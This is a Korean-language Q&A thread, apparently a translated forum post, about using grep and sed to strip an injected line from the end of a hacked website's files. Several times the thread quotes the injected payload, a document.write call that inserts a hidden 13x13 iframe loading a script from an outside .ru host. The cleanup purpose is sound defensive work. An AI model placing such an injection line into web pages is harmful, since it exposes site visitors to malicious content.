복잡한 문자열을 처리하는 데 큰 어려움을 겪고 있습니다. 친구의 사이트가 해킹되어 폐쇄되었습니다. 하지만 저는 남아 있는 난장판을 정리하는 데 도움을 드리고 있으며, 제가 해야 할 일은 다음과 같습니다.
각 디렉터리로 재귀하여 파일 끝에 다음 문자열이 있으면 해당 문자열을 삭제합니다.
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
보시다시피 문자열에는 작은따옴표와 큰따옴표뿐 아니라 기타 여러 특수 문자도 포함되어 있습니다. 각 특수 문자 앞에 \ 이스케이프를 추가해 보았지만 작동하지 않는 것 같습니다. 나는 이것을 시도했습니다 :
grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"
하지만 다음과 같은 오류가 발생합니다.
sed: -e expression #1, char 201: unterminated `s' command
답변1
다음과 같은 것을 찾고 있는 것 같습니다.
sed '${s/document\.write([^)]*);//}'
그러나 손상 복구를 위해서는 이 절차를 사용하지 않는 것이 좋습니다.
답변2
예, 백업에서 복원하는 것이 더 좋습니다. 하지만 sed의 경우:
sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME
FILENAME이 뒤에 오는지 여부에 관계없이 이것을 테스트했습니다 \n
. 그러나 삭제될 행은 항상 마지막 행( $ { ... }
.
답변3
예, 백업이 더 좋습니다. 그러나 교체를 고집하고 번거로운 탈출을 피하고 싶다면 여기에 일반적인 해결책이 있습니다.
문제가 있는 문자열을 파일에 저장하고 추가 문자(예: UTF BOM 접두사 또는 줄 끝)가 추가되지 않았는지 확인하세요.
xxd spec-chars.sample
문자열을 이스케이프된 바이트 시퀀스로 변환
od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
몇 가지 테스트 케이스 만들기
cat spec-chars-positive asdfasdfsd ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'); cat spec-chars-negative asdfasdfsd ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'); qwer
코드가 예상대로 작동하는지 확인
grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
실제 교체 수행
grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//